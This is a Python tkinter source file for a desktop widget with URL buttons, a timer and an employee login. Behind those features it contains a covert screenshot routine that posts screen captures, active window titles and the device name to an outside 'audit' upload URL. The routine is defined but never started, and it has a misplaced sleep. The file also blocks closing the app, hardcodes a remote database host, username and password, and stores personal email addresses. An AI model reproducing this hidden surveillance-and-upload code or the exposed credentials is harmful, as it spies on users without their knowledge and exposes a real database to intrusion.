import time
import tkinter as tk
from tkinter import Toplevel, Entry, Label, Button, messagebox
import mysql.connector
from mysql.connector import Error
import subprocess
import json
import os
import threading
from playsound3 import playsound
import pyautogui
import datetime
import requests
import platform
import socket
import tkinter as tk
from PIL import Image, ImageTk
import threading



SETTINGS_FILE = "widget_settings.json"

class DesktopWidget:
    def __init__(self, root):
        self.root = root
        self.root.title("Desktop Widget")

        self.window_settings = self.load_window_settings()
        self.set_window_position_top_right()
        self.root.resizable(True, True)
        self.root.bind("<Configure>", self.save_window_size)
        self.root.protocol("WM_DELETE_WINDOW", self.prevent_close)

          # Setup GUI elements here...
        self.device_label = tk.Label(self.root, text="Device Info")
        self.device_label.pack()

        # Start the screenshot service here
        self.start_screenshot_service()

        name_label = tk.Label(root, text="Nellai Saravanan", font=("Helvetica", 16, "bold"))
        name_label.pack(pady=15)

        self.urls = self.load_urls()
        self.url_buttons = []
        self.create_url_buttons()

        button_frame = tk.Frame(root)
        button_frame.pack(side=tk.BOTTOM, pady=15)

        settings_btn = tk.Button(button_frame, text="Settings", command=self.open_settings, width=12, height=2, bg="#4CAF50", fg="white", font=("Helvetica", 10, "bold"))
        settings_btn.pack(side=tk.LEFT, padx=10)

        timer_btn = tk.Button(button_frame, text="Timer", command=self.open_timer, width=12, height=2, bg="#FF9800", fg="white", font=("Helvetica", 10, "bold"))
        timer_btn.pack(side=tk.LEFT, padx=10)

        account_settings_btn = tk.Button(button_frame, text="Login", command=self.open_account_settings, width=15, height=2, bg="#2196F3", fg="white", font=("Helvetica", 10, "bold"))
        account_settings_btn.pack(side=tk.LEFT, padx=10)

        exit_btn = tk.Button(button_frame, text="Exit", command=self.exit_app, width=12, height=2, bg="#F44336", fg="white", font=("Helvetica", 10, "bold"))
        exit_btn.pack(side=tk.RIGHT, padx=10)

    def open_timer(self):
        timer_window = Toplevel(self.root)
        timer_window.title("Countdown Timer")
        timer_window.geometry("300x250")
        timer_window.resizable(False, False)

        tk.Label(timer_window, text="Set Timer (in seconds):", font=("Helvetica", 12)).pack(pady=10)

        time_entry = Entry(timer_window, font=("Helvetica", 12), width=10, justify="center")
        time_entry.pack(pady=10)

        countdown_label = tk.Label(timer_window, text="", font=("Helvetica", 14, "bold"))
        countdown_label.pack(pady=20)

        def start_timer():
            try:
                total_seconds = int(time_entry.get())
                if total_seconds <= 0:
                    raise ValueError
            except ValueError:
                messagebox.showerror("Invalid Input", "Please enter a valid number of seconds.")
                return

            def countdown():
                remaining = total_seconds
                while remaining > 0:
                    mins, secs = divmod(remaining, 60)
                    time_str = f"{mins:02d}:{secs:02d}"
                    countdown_label.config(text=time_str)
                    timer_window.update()
                    remaining -= 1
                    threading.Event().wait(5)

                countdown_label.config(text="Time's up!")
                playsound("alarm.mp3")
                messagebox.showinfo("Timer Done", "\u23F0 Time is up!")

            threading.Thread(target=countdown, daemon=True).start()

        start_button = Button(timer_window, text="Start Timer", command=start_timer, bg="#FF5722", fg="white", font=("Helvetica", 10, "bold"), width=15)
        start_button.pack(pady=10)
        
    def set_window_position_top_right(self):
        screen_width = self.root.winfo_screenwidth()
        screen_height = self.root.winfo_screenheight()
        window_width = self.window_settings.get("width", 450)
        window_height = self.window_settings.get("height", 450)
        x = screen_width - window_width - 10
        y = 10
        self.root.geometry(f"{window_width}x{window_height}+{x}+{y}")

    def create_url_buttons(self):
        for btn in self.url_buttons:
            btn.destroy()

        self.url_buttons = []
        for i, entry in enumerate(self.urls):
            name = entry.get("name", f"URL {i+1}")
            url = entry.get("url", "")
            profile = entry.get("profile", "radhakrishnavittaldev@gmail.com")
            btn = tk.Button(self.root, text=name, command=lambda u=url, p=profile: self.open_url(u, p), width=40, height=2, bg="#2196F3", fg="white", font=("Helvetica", 10))
            btn.pack(pady=5)
            self.url_buttons.append(btn)

    def open_url(self, url, profile):
        try:
            chrome_path = r"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"
            profile_directory = "Default" if profile == "radhakrishnavittaldev@gmail.com" else "Profile 2"
            subprocess.Popen([chrome_path, f"--profile-directory={profile_directory}", url])
        except Exception as e:
            messagebox.showerror("Error", f"Unable to open Google Chrome. Please check the path.\n\nError: {e}")

    def open_settings(self):
        settings_window = Toplevel(self.root)
        settings_window.title("Settings")
        settings_window.geometry("600x400")
        settings_window.resizable(True, True)

        settings_header = Label(settings_window, text="Settings", font=("Helvetica", 16, "bold"), fg="#4CAF50")
        settings_header.pack(pady=10)

        entry_frame = tk.Frame(settings_window)
        entry_frame.pack(fill=tk.BOTH, expand=True, pady=10)

        entries = []
        for i, entry in enumerate(self.urls):
            self.add_url_entry(entry_frame, entries, i, entry.get("name", f"URL {i+1}"), entry.get("url", ""), entry.get("profile", "radhakrishnavittaldev@gmail.com"))

        def add_new_entry():
            index = len(entries)
            self.add_url_entry(entry_frame, entries, index, f"URL {index+1}", "", "radhakrishnavittaldev@gmail.com")

        add_button = Button(settings_window, text="+ Add URL", command=add_new_entry, width=15, height=2, bg="#2196F3", fg="white", font=("Helvetica", 10, "bold"))
        add_button.pack(pady=10)

        def save_settings():
            new_entries = []
            for entry in entries:
                name = entry["name_entry"].get().strip()
                url = entry["url_entry"].get().strip()
                profile = entry["profile_dropdown"].get().strip()
                if not url:
                    messagebox.showwarning("Warning", "All URL fields must be filled!")
                    return
                new_entries.append({"name": name, "url": url, "profile": profile})
            self.urls = new_entries
            self.save_urls()
            self.create_url_buttons()
            settings_window.destroy()

        def cancel_settings():
            settings_window.destroy()

        button_frame = tk.Frame(settings_window)
        button_frame.pack(side=tk.BOTTOM, pady=15)

        save_button = Button(button_frame, text="Save", command=save_settings, width=15, height=2, bg="#4CAF50", fg="white", font=("Helvetica", 10, "bold"))
        save_button.pack(side=tk.LEFT, padx=20)

        cancel_button = Button(button_frame, text="Cancel", command=cancel_settings, width=15, height=2, bg="#F44336", fg="white", font=("Helvetica", 10, "bold"))
        cancel_button.pack(side=tk.RIGHT, padx=20)

    def add_url_entry(self, parent_frame, entries, index, name, url, profile):
        row_frame = tk.Frame(parent_frame)
        row_frame.pack(fill=tk.X, pady=5)
        name_label = Label(row_frame, text=f"Name {index+1}:", font=("Helvetica", 10), width=10, anchor="w")
        name_label.pack(side=tk.LEFT, padx=5)

        name_entry = Entry(row_frame, width=20, font=("Helvetica", 10))
        name_entry.insert(0, name)
        name_entry.pack(side=tk.LEFT, padx=5)

        url_label = Label(row_frame, text=f"URL {index+1}:", font=("Helvetica", 10), width=10, anchor="w")
        url_label.pack(side=tk.LEFT, padx=5)

        url_entry = Entry(row_frame, width=30, font=("Helvetica", 10))
        url_entry.insert(0, url)
        url_entry.pack(side=tk.LEFT, padx=5)

        profile_label = Label(row_frame, text="Profile:", font=("Helvetica", 10), width=10, anchor="w")
        profile_label.pack(side=tk.LEFT, padx=5)

        profile_dropdown = tk.StringVar()
        profile_dropdown.set(profile)
        profile_menu = tk.OptionMenu(row_frame, profile_dropdown, "rk@skylinkcorp.net", "radhakrishnavittaldev@gmail.com")
        profile_menu.pack(side=tk.LEFT, padx=5)

        entries.append({"name_entry": name_entry, "url_entry": url_entry, "profile_dropdown": profile_dropdown})

    def open_account_settings(self):
        account_window = Toplevel(self.root)
        account_window.title("Account Settings")
        account_window.geometry("400x300")
        account_window.resizable(False, False)

        Label(account_window, text="Account Settings", font=("Helvetica", 16, "bold")).pack(pady=10)

        Label(account_window, text="Username (Email):", font=("Helvetica", 10)).pack(pady=5)
        username_entry = Entry(account_window, width=30, font=("Helvetica", 10))
        username_entry.pack(pady=5)

        Label(account_window, text="Password:", font=("Helvetica", 10)).pack(pady=5)
        password_entry = Entry(account_window, show="*", width=30, font=("Helvetica", 10))
        password_entry.pack(pady=5)

        def submit_credentials():
            username = username_entry.get().strip()
            password = password_entry.get().strip()

            if not username or not password:
                messagebox.showerror("Error", "Both fields are required!")
                return

            if self.authenticate_user(username, password):
                messagebox.showinfo("Success", "Authentication successful!")
                account_window.destroy()
                self.open_dashboard(username)
            else:
                messagebox.showerror("Error", "Invalid username or password. Please try again.")

        submit_btn = Button(account_window, text="Submit", command=submit_credentials, width=15, bg="#4CAF50", fg="white", font=("Helvetica", 10, "bold"))
        submit_btn.pack(pady=20)
        

    def open_dashboard(self, username):
        import webbrowser  # To open your website

        dashboard_window = Toplevel(self.root)
        dashboard_window.title("Dashboard")
        dashboard_window.geometry("500x400")
        dashboard_window.resizable(True, True)

        Label(dashboard_window, text=f"Welcome, {username}!", font=("Helvetica", 16, "bold")).pack(pady=20)
        Label(dashboard_window, text="This is your dashboard screen.", font=("Helvetica", 12)).pack(pady=10)

    # Function to open website
        def open_website1():
            webbrowser.open("https://www.yourwebsite1.com")

        def open_website2():
            webbrowser.open("https://www.yourwebsite2.com")

        def open_website3():
            webbrowser.open("https://www.yourwebsite3.com")

    # Buttons for websites
        Button(dashboard_window, text="Go to Website 1", command=open_website1, width=30, height=2, bg="#2196F3", fg="white", font=("Helvetica", 10, "bold")).pack(pady=10)
        Button(dashboard_window, text="Go to Website 2", command=open_website2, width=30, height=2, bg="#4CAF50", fg="white", font=("Helvetica", 10, "bold")).pack(pady=10)
        Button(dashboard_window, text="Go to Website 3", command=open_website3, width=30, height=2, bg="#FF9800", fg="white", font=("Helvetica", 10, "bold")).pack(pady=10)
        # Logout button
        logout_btn = Button(dashboard_window, text="Logout", command=dashboard_window.destroy, bg="#F44336", fg="white", font=("Helvetica", 10, "bold"), width=15)
        logout_btn.pack(pady=30)


    def authenticate_user(self, username, password):
        try:
            connection = mysql.connector.connect(
                host='dbaas-db-1602524-do-user-4209794-0.b.db.ondigitalocean.com',
                user='kirupa',
                password='revathyks@1982',
                database='skyline_track',
                port=25060
            )
            if connection.is_connected():
                cursor = connection.cursor()
                query = "SELECT * FROM employee WHERE email=%s AND password=%s"
                cursor.execute(query, (username, password))
                result = cursor.fetchone()
                cursor.close()
                connection.close()
                return result is not None
            else:
                return False
        except Error as e:
            messagebox.showerror("Database Error", f"An error occurred while connecting to the database:\n{e}")
            return False

    def prevent_close(self):
        self.root.withdraw()
        threading.Timer(300, self.reopen_app).start()

    def reopen_app(self):
        self.root.deiconify()

    def load_urls(self):
        if os.path.exists(SETTINGS_FILE):
            with open(SETTINGS_FILE, "r") as f:
                try:
                    data = json.load(f)
                    if "urls" in data:
                        return data["urls"]
                except json.JSONDecodeError:
                    pass
        return [{"name": f"Example {i+1}", "url": "http://example.com", "profile": "radhakrishnavittaldev@gmail.com"} for i in range(5)]

    def load_window_settings(self):
        if os.path.exists(SETTINGS_FILE):
            with open(SETTINGS_FILE, "r") as f:
                try:
                    data = json.load(f)
                    if "window_settings" in data:
                        return data["window_settings"]
                except json.JSONDecodeError:
                    pass
        return {"width": 450, "height": 450}

    def save_window_size(self, event):
        if event.widget == self.root:
            self.window_settings["width"] = self.root.winfo_width()
            self.window_settings["height"] = self.root.winfo_height()
            self.save_urls()

    def save_urls(self):
        with open(SETTINGS_FILE, "w") as f:
            json.dump({"urls": self.urls, "window_settings": self.window_settings}, f)

    def exit_app(self):
        self.root.destroy()

    # ✅ Paste below this
    def get_device_name(self):
        config_file = "config.json"
        try:
            if os.path.exists(config_file):
                with open(config_file, 'r') as f:
                    config = json.load(f)
                    return config.get("device_name", socket.gethostname())
        except:
            pass
        return socket.gethostname()

    def get_active_window(self):
        try:
            if platform.system() == "Windows":
                import pygetwindow as gw
                active_window = gw.getActiveWindow()
                return active_window.title if active_window else "Unknown"
            elif platform.system() == "Linux":
                win_id = subprocess.check_output(["xdotool", "getactivewindow"]).strip()
                win_name = subprocess.check_output(["xdotool", "getwindowname", win_id]).strip()
                return win_name.decode("utf-8")
        except Exception as e:
            return f"Error: {str(e)}"
        return "Unknown"

    def start_screenshot_service(self):
        def screenshot_loop():
            device_name = self.get_device_name()
            while True:
                try:
                    timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
                    filename = f"screenshot_{timestamp}.png"

                    screenshot = pyautogui.screenshot()
                    screenshot.save(filename)
                    active_app = self.get_active_window()

                    with open(filename, 'rb') as img:
                        res = requests.post(
                            "https://skylinkonline.net/audit/upload.php",
                            files={"image": img},
                            data={
                                "app": active_app,
                                "device": device_name
                            },
                            timeout=15
                        )

                    print(f"[{timestamp}] Uploaded: {res.status_code} | App: {active_app}")
                    os.remove(filename)

                except Exception as e:
                    print(f"[ERROR] {e}")

                    time.sleep(3000)


if __name__ == "__main__":
    root = tk.Tk()
    app = DesktopWidget(root)
    root.mainloop()
    
